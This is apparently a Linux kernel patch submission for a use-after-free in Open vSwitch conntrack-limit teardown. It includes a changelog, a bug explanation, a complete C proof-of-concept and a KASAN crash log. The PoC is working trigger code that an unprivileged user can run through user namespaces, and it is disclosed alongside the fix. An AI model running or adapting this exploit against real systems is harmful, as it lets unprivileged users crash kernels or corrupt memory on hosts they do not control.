openvswitch: Fix CT limit teardown use-after-free

Changes in v8:

- Rebase onto net/main, which now contains the adjacent nf_connlabels leak fix.
- Move the CT limit detach to the pernet .pre_exit callback and complete the teardown in .exit, relying on the RCU grace period that the pernet core guarantees between the two. Drop the extra synchronize_rcu() and use plain kfree() in the teardown path.
- v7 Link: https://lore.kernel.org/all/[email protected]/
Changes in v7:

- Split CT limit teardown into a start/finish pair so that the RCU grace period wait happens after ovs_mutex is released, keeping the lock from blocking other ovs_mutex users during the wait.
- v6 Link: https://lore.kernel.org/all/[email protected]/
Changes in v6:

- Explain why netlink command handlers do not need NULL checks.
- Document that teardown currently waits for the RCU grace period while holding ovs_mutex, leaving lock-scope optimization for a separate change.
- v5 Link: https://lore.kernel.org/all/[email protected]/

Changes in v5:

- Remove unreachable command-path NULL handling because netlink sockets keep their network namespaces alive while requests are processed.
- Restore the previous SET, DEL, and GET command semantics.
- Document the ct_limit_info RCU and ovs_mutex locking contract.
- v4 Link: https://lore.kernel.org/all/[email protected]/

Changes in v4:

- Restore per-entry ovs_mutex locking for CT limit SET and DEL.
- Treat CT limit updates racing with netns teardown as successful no-ops.
- Free an uninstalled CT limit allocation and document GET helpers' RCU contract.
- v3 Link: https://lore.kernel.org/all/[email protected]/

Changes in v3:

- Use RCU dereference and a NULL check for CT limit GET requests.
- Limit ovs_mutex to CT limit updates; do not hold it while preparing replies.
- Use ovsl_dereference() for update paths and clarify the RCU grace-period comment.
- v2 Link: https://lore.kernel.org/all/[email protected]

Changes in v2:

- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/

Hi Linux kernel maintainers,

We found an issue in net/openvswitch/conntrack.c.
The bug is reachable by an unprivileged user using private user and network namespaces. The relevant details are provided below.

---- details below ----

Bug details:

Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.

Replace the pointer before freeing the CT limit state and wait for RCU readers before freeing its contents. Serialize individual CT limit updates with teardown, while GET and datapath accesses use RCU-protected lookups.

Reproducer:

gcc -O2 -g -Wall -Wextra -pthread -o mini_poc mini_poc.c ./mini_poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define MAX_MSG 8192
#define DP_NAME "ovsmini"
#define PORT_NAME "povsmini"
#define PORT_NO 1
#define ZONE 1
#define LIMIT 1
#define WARMUP_MS 5
#define FLOOD_MS 500
#define CT_CLONES 4

#define OVS_DATAPATH_FAMILY "ovs_datapath"
#define OVS_DATAPATH_VERSION 2
#define OVS_VPORT_FAMILY "ovs_vport"
#define OVS_VPORT_VERSION 1
#define OVS_FLOW_FAMILY "ovs_flow"
#define OVS_FLOW_VERSION 1
#define OVS_CT_LIMIT_FAMILY "ovs_ct_limit"
#define OVS_CT_LIMIT_VERSION 1

struct ovs_header {
	int dp_ifindex;
};

enum {
	OVS_DP_CMD_NEW = 1,
	OVS_DP_CMD_GET = 3,
};

enum {
	OVS_DP_ATTR_NAME = 1,
	OVS_DP_ATTR_UPCALL_PID = 2,
	OVS_DP_ATTR_IFINDEX = 9,
};

enum {
	OVS_VPORT_CMD_NEW = 1,
};

enum {
OVS_VPORT_ATTR_PORT_NO = 1,
OVS_VPORT_ATTR_TYPE = 2,
OVS_VPORT_ATTR_NAME = 3,
OVS_VPORT_ATTR_UPCALL_PID = 5,
};

enum {
OVS_VPORT_TYPE_INTERNAL = 2,
};

enum {
	OVS_FLOW_CMD_NEW = 1,
};

enum {
	OVS_FLOW_ATTR_KEY = 1,
	OVS_FLOW_ATTR_ACTIONS = 2,
	OVS_FLOW_ATTR_MASK = 7,
};

enum {
	OVS_KEY_ATTR_IN_PORT = 3,
	OVS_KEY_ATTR_ETHERNET = 4,
	OVS_KEY_ATTR_ETHERTYPE = 6,
	OVS_KEY_ATTR_IPV4 = 7,
	OVS_KEY_ATTR_UDP = 10,
};

enum {
	OVS_CT_ATTR_COMMIT = 1,
	OVS_CT_ATTR_ZONE = 2,
};

enum {
	OVS_ACTION_ATTR_CT = 12,
	OVS_ACTION_ATTR_CLONE = 20,
	OVS_ACTION_ATTR_DROP = 24,
};

enum {
	OVS_CT_LIMIT_CMD_SET = 1,
};

enum {
OVS_CT_LIMIT_ATTR_ZONE_LIMIT = 1,
};

struct ovs_key_ethernet {
	uint8_t eth_src[ETH_ALEN];
	uint8_t eth_dst[ETH_ALEN];
};

struct ovs_key_ipv4 {
	uint32_t ipv4_src;
	uint32_t ipv4_dst;
	uint8_t ipv4_proto;
	uint8_t ipv4_tos;
	uint8_t ipv4_ttl;
	uint8_t ipv4_frag;
};

struct ovs_key_udp {
	uint16_t udp_src;
	uint16_t udp_dst;
};

struct ovs_zone_limit {
	int32_t zone_id;
	uint32_t limit;
	uint32_t count;
};

#ifndef NLA_ALIGN
#define NLA_ALIGNTO 4
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif

#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif

#define DIE(...) do { fprintf(stderr, __VA_ARGS__); fputc('\n', stderr); \
		      exit(EXIT_FAILURE); } while (0)

static void die_errno(const char *what)

{
	DIE("%s: %s", what, strerror(errno));
}

static void write_map(const char *path, const char *fmt, unsigned int id)

{
	char buf[64];
	int fd;
	int len;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		die_errno(path);
	len = snprintf(buf, sizeof(buf), fmt, id);
	if (write(fd, buf, (size_t)len) != len)
		die_errno(path);
	close(fd);
}

static void enter_user_netns(void)

{
	uid_t uid = getuid();
	gid_t gid = getgid();
	int fd;

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
		die_errno("unshare user/net namespace");

	fd = open("/proc/self/setgroups", O_WRONLY | O_CLOEXEC);
	if (fd >= 0) {
		if (write(fd, "deny", 4) != 4)
			die_errno("setgroups");
		close(fd);
	}
	write_map("/proc/self/uid_map", "0 %u 1\n", uid);
	write_map("/proc/self/gid_map", "0 %u 1\n", gid);

	if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
		die_errno("setresuid/setresgid");
}

static void addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)

{
	struct nlattr *nla;
	size_t total = NLA_ALIGN(NLA_HDRLEN + len);

	if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
		DIE("netlink message too large");
	nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + len;
	if (len)
		memcpy(NLA_DATA(nla), data, len);
	if (total > nla->nla_len)
		memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
}

static void add_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,

		    uint16_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static void add_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,

		    uint32_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static void add_s32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,

		    int32_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,

				 uint16_t type)
{
	struct nlattr *start = (struct nlattr *)((char *)nlh +
						  NLMSG_ALIGN(nlh->nlmsg_len));

	addattr(nlh, maxlen, type, NULL, 0);
	return start;
}

static void nest_end(struct nlmsghdr *nlh, struct nlattr *start)

{
	start->nla_len = (uint16_t)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len) -
				    (char *)start);
}

static int nl_open(int protocol)

{
	struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);

	if (fd < 0)
		die_errno("socket netlink");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)))
		die_errno("bind netlink");
	return fd;
}

static uint32_t next_seq(void)

{
	static uint32_t seq = 1;

	return __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
}

static void nl_send(int fd, struct nlmsghdr *nlh)

{
	struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
	struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
	struct msghdr msg = {
		.msg_name = &addr,
		.msg_namelen = sizeof(addr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	if (sendmsg(fd, &msg, 0) < 0)
		die_errno("sendmsg netlink");
}

static ssize_t nl_reply(int fd, uint32_t seq, char *buf, size_t len)

{
	for (;;) {
		struct nlmsghdr *nlh;
		ssize_t got = recv(fd, buf, len, 0);
		ssize_t rem;

		if (got < 0) {
			if (errno == EINTR)
				continue;
			return -1;
		}
		rem = got;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, rem);
		     nlh = NLMSG_NEXT(nlh, rem)) {
			if (nlh->nlmsg_seq != seq)
				continue;
			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *err = NLMSG_DATA(nlh);

				if (err->error) {
					errno = -err->error;
					return -1;
				}
				return nlh->nlmsg_len;
			} else {
				return nlh->nlmsg_len;
			}
		}
	}
}

static void nl_ack(int fd, uint32_t seq)

{
	char buf[MAX_MSG];

	if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
		die_errno("netlink request");
}

static struct nlattr *find_attr(void *data, size_t len, uint16_t type)

{
	struct nlattr *nla;

	while (len >= sizeof(*nla)) {
		nla = data;
		if (nla->nla_len < NLA_HDRLEN || nla->nla_len > len)
			break;
		if ((nla->nla_type & NLA_TYPE_MASK) == type)
			return nla;
		len -= NLA_ALIGN(nla->nla_len);
		data = (char *)data + NLA_ALIGN(nla->nla_len);
	}
	return NULL;
}

static int family_id(int fd, const char *name)

{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *genl;
	struct nlattr *attr;
	uint32_t seq = next_seq();

	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	genl = NLMSG_DATA(nlh);
	genl->cmd = CTRL_CMD_GETFAMILY;
	genl->version = 1;
	addattr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
	nl_send(fd, nlh);
	if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
		die_errno("get generic-netlink family");
	attr = find_attr((char *)genl + GENL_HDRLEN,
			 nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN),
			 CTRL_ATTR_FAMILY_ID);
	if (!attr)
		DIE("family %s has no id", name);
	return *(uint16_t *)NLA_DATA(attr);
}

static void ovs_header(struct nlmsghdr *nlh, size_t maxlen, uint16_t family,
uint8_t cmd, uint8_t version, int dp_ifindex)

{
	struct genlmsghdr *genl;
	struct ovs_header *ovs;

	memset(nlh, 0, maxlen);
	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + sizeof(*ovs));
	nlh->nlmsg_type = family;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = next_seq();
	genl = NLMSG_DATA(nlh);
	genl->cmd = cmd;
	genl->version = version;
	ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
	ovs->dp_ifindex = dp_ifindex;
}

static uint32_t request_seq(struct nlmsghdr *nlh)

{
	return nlh->nlmsg_seq;
}

static void set_up(int fd, const char *ifname)

{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifi;
	uint32_t seq = next_seq();

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = seq;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_change = IFF_UP;
	ifi->ifi_flags = IFF_UP;
	addattr(nlh, sizeof(buf), IFLA_IFNAME, ifname, strlen(ifname) + 1);
	nl_send(fd, nlh);
	nl_ack(fd, seq);
}

static void move_to_ns(int fd, const char *ifname, int netns_fd)

{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifi;
	unsigned int ifindex = if_nametoindex(ifname);
	uint32_t seq = next_seq();

	if (!ifindex)
		die_errno("if_nametoindex");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = seq;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)ifindex;
	add_s32(nlh, sizeof(buf), IFLA_NET_NS_FD, netns_fd);
	nl_send(fd, nlh);
	nl_ack(fd, seq);
}

static void create_dp(int fd, int family)

{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

	ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_NEW,
		   OVS_DATAPATH_VERSION, 0);
	addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
		sizeof(DP_NAME));
	add_u32(nlh, sizeof(buf), OVS_DP_ATTR_UPCALL_PID, 0);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static int dp_ifindex(int fd, int family)

{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *genl;
	struct ovs_header *ovs;

	ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_GET,
		   OVS_DATAPATH_VERSION, 0);
	nlh->nlmsg_flags = NLM_F_REQUEST;
	addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
		sizeof(DP_NAME));
	nl_send(fd, nlh);
	if (nl_reply(fd, request_seq(nlh), buf, sizeof(buf)) < 0)
		die_errno("get datapath");
	nlh = (struct nlmsghdr *)buf;
	genl = NLMSG_DATA(nlh);
	ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
	return ovs->dp_ifindex;
}

static void create_internal_port(int fd, int family, int dp)

{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

	ovs_header(nlh, sizeof(buf), family, OVS_VPORT_CMD_NEW,
		   OVS_VPORT_VERSION, dp);
	add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_TYPE,
		OVS_VPORT_TYPE_INTERNAL);
	addattr(nlh, sizeof(buf), OVS_VPORT_ATTR_NAME, PORT_NAME,
		sizeof(PORT_NAME));
	add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_UPCALL_PID, 0);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void set_limit(int fd, int family)

{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ovs_zone_limit limit = {
		.zone_id = ZONE,
		.limit = LIMIT,
	};

	ovs_header(nlh, sizeof(buf), family, OVS_CT_LIMIT_CMD_SET,
		   OVS_CT_LIMIT_VERSION, 0);
	addattr(nlh, sizeof(buf), OVS_CT_LIMIT_ATTR_ZONE_LIMIT,
		&limit, sizeof(limit));
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void add_flow(int fd, int family, int dp)

{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ovs_key_ethernet eth = {};
	struct ovs_key_ipv4 ip = {.ipv4_proto = 17};
	struct ovs_key_ipv4 ip_mask = {.ipv4_proto = 0xff};
	struct ovs_key_udp udp = {};
	struct nlattr *key, *mask, *actions, *ct;

	ovs_header(nlh, sizeof(buf), family, OVS_FLOW_CMD_NEW,
		   OVS_FLOW_VERSION, dp);
	key = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_KEY);
	add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, PORT_NO);
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, &eth, sizeof(eth));
	add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(ETH_P_IP));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip, sizeof(ip));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
	nest_end(nlh, key);

	mask = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_MASK);
	add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, UINT32_MAX);
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, &eth, sizeof(eth));
	add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(UINT16_MAX));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip_mask, sizeof(ip_mask));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
	nest_end(nlh, mask);

	int i;

	actions = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_ACTIONS);
	for (i = 0; i < CT_CLONES; i++) {
		struct nlattr *clone = nest_start(nlh, sizeof(buf),
						  OVS_ACTION_ATTR_CLONE);

		ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
		addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
		add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
		nest_end(nlh, ct);
		add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
		nest_end(nlh, clone);
	}
	ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
	addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
	add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
	nest_end(nlh, ct);
	add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
	nest_end(nlh, actions);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void setup_victim(int anchor_fd, int ready_fd, int go_fd)

{
	int genl, rtnl;
	int dp_family, vport_family, flow_family, limit_family;
	int dp;
	char ready = 1;

	if (unshare(CLONE_NEWNET))
		die_errno("unshare victim netns");
	genl = nl_open(NETLINK_GENERIC);
	rtnl = nl_open(NETLINK_ROUTE);
	dp_family = family_id(genl, OVS_DATAPATH_FAMILY);
	vport_family = family_id(genl, OVS_VPORT_FAMILY);
	flow_family = family_id(genl, OVS_FLOW_FAMILY);
	limit_family = family_id(genl, OVS_CT_LIMIT_FAMILY);
	create_dp(genl, dp_family);
	dp = dp_ifindex(genl, dp_family);
	create_internal_port(genl, vport_family, dp);
	set_limit(genl, limit_family);
	add_flow(genl, flow_family, dp);
	move_to_ns(rtnl, PORT_NAME, anchor_fd);
	if (write(ready_fd, &ready, 1) != 1)
		die_errno("ready pipe");
	if (read(go_fd, &ready, 1) != 1)
		_exit(EXIT_FAILURE);
	_exit(EXIT_SUCCESS);
}

static uint16_t checksum(const void *data, size_t len)

{
	const uint16_t *p = data;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len)
		sum += *(const uint8_t *)p;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (uint16_t)~sum;
}

struct flood_ctx {
	volatile int *stop;
	int id;
};

static void *flood_thread(void *arg)

{
	struct flood_ctx *ctx = arg;
	struct {
		uint8_t dst[ETH_ALEN];
		uint8_t src[ETH_ALEN];
		uint16_t proto;
		uint8_t ip[20];
		uint8_t udp[8];
		uint8_t payload[8];
	} __attribute__((packed)) frame = {};
	struct sockaddr_ll addr = {
		.sll_family = AF_PACKET,
		.sll_protocol = htons(ETH_P_ALL),
	};
	int fd;
	unsigned int packet_id = (unsigned int)ctx->id << 24;

	memset(frame.dst, 0x11, ETH_ALEN);
	memset(frame.src, 0x22, ETH_ALEN);
	frame.proto = htons(ETH_P_IP);
	frame.ip[0] = 0x45;
	frame.ip[8] = 64;
	frame.ip[9] = 17;
	frame.ip[12] = 10;
	frame.ip[15] = 1;
	frame.ip[16] = 10;
	frame.ip[19] = 2;
	frame.ip[2] = 0;
	frame.ip[3] = sizeof(frame) - ETH_HLEN;
	frame.udp[4] = 0;
	frame.udp[5] = 16;

	fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
	if (fd < 0)
		return NULL;
	addr.sll_ifindex = if_nametoindex(PORT_NAME);
	while (!*ctx->stop && addr.sll_ifindex) {
		frame.ip[4] = (uint8_t)packet_id;
		frame.ip[5] = (uint8_t)(packet_id >> 8);
		frame.ip[10] = 0;
		frame.ip[11] = 0;
		frame.ip[10] = checksum(frame.ip, sizeof(frame.ip)) >> 8;
		frame.ip[11] = checksum(frame.ip, sizeof(frame.ip));
		frame.udp[0] = (uint8_t)(packet_id >> 8);
		frame.udp[1] = (uint8_t)packet_id;
		if (sendto(fd, &frame, sizeof(frame), 0,
			   (struct sockaddr *)&addr, sizeof(addr)) < 0 &&
		    (errno == ENODEV || errno == ENXIO || errno == ENETDOWN))
			break;
		packet_id++;
	}
	close(fd);
	return NULL;
}

static void flood_and_release(int go_fd)

{
	enum { THREADS = 4 };
	pthread_t threads[THREADS];
	struct flood_ctx ctx[THREADS];
	volatile int stop = 0;
	char go = 1;
	int i;

	for (i = 0; i < THREADS; i++) {
		ctx[i].stop = &stop;
		ctx[i].id = i;
		if (pthread_create(&threads[i], NULL, flood_thread, &ctx[i]))
			die_errno("pthread_create");
	}
	usleep(WARMUP_MS * 1000);
	if (write(go_fd, &go, 1) != 1)
		die_errno("release pipe");
	usleep(FLOOD_MS * 1000);
	stop = 1;
	for (i = 0; i < THREADS; i++)
		pthread_join(threads[i], NULL);
}

int main(void)

{
	int anchor_fd, genl, rtnl;
	int ready[2], go[2];
	pid_t child;
	char byte;

	enter_user_netns();
	anchor_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
	if (anchor_fd < 0)
		die_errno("anchor netns");
	genl = nl_open(NETLINK_GENERIC);
	rtnl = nl_open(NETLINK_ROUTE);
	if (pipe(ready) || pipe(go))
		die_errno("pipe");

	child = fork();
	if (child < 0)
		die_errno("fork");
	if (child == 0) {
		close(ready[0]);
		close(go[1]);
		close(genl);
		close(rtnl);
		setup_victim(anchor_fd, ready[1], go[0]);
	}

	close(ready[1]);
	close(go[0]);
	if (read(ready[0], &byte, 1) != 1)
		die_errno("ready");
	while (!if_nametoindex(PORT_NAME))
		usleep(1000);
	set_up(rtnl, PORT_NAME);
	flood_and_release(go[1]);
	waitpid(child, NULL, 0);
	close(go[1]);
	close(ready[0]);
	close(genl);
	close(rtnl);
	close(anchor_fd);
	return 0;
}

------END PoC--------

----BEGIN crash log----

[Wed Mar 18 20:20:25 2026] [  T10321] BUG: KASAN: slab-use-after-free in ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321] Read of size 4 at addr ffff888035c1f3e0 by task poc/10321

[Wed Mar 18 20:20:25 2026] [  T10321] CPU: 0 UID: 1028 PID: 10321 Comm: poc Not tainted 6.12.74 #3
[Wed Mar 18 20:20:25 2026] [  T10321] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[Wed Mar 18 20:20:25 2026] [  T10321] Call Trace:
[Wed Mar 18 20:20:25 2026] [  T10321]  <TASK>
[Wed Mar 18 20:20:25 2026] [  T10321]  dump_stack_lvl+0x10e/0x1f0
[Wed Mar 18 20:20:25 2026] [  T10321]  print_report+0xc6/0x620
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __phys_addr+0xcb/0x150
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_report+0xd8/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __kasan_slab_alloc+0x89/0x90
[Wed Mar 18 20:20:25 2026] [  T10321]  ? kmem_cache_alloc_noprof+0x126/0x2f0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_ct_execute+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  do_execute_actions+0xaab/0x7d60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __skb_clone+0x575/0x760
[Wed Mar 18 20:20:25 2026] [  T10321]  ? hlock_class+0x4e/0x130
[Wed Mar 18 20:20:25 2026] [  T10321]  clone_execute+0x496/0x6d0
[Wed Mar 18 20:20:25 2026] [  T10321]  do_execute_actions+0x1de7/0x7d60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lock_acquire.part.0+0x119/0x370
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_acquire.part.0+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_dp_process_packet+0x227/0x820
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_execute_actions+0xf3/0x490
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_dp_process_packet+0x280/0x820
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_dp_process_packet+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memset+0x23/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __ovs_ct_update_key+0x3a9/0xdc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_vport_receive+0x21d/0x370
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_vport_receive+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lock_acquire+0x2f/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  internal_dev_xmit+0xbe/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  __dev_direct_xmit+0x58f/0x730
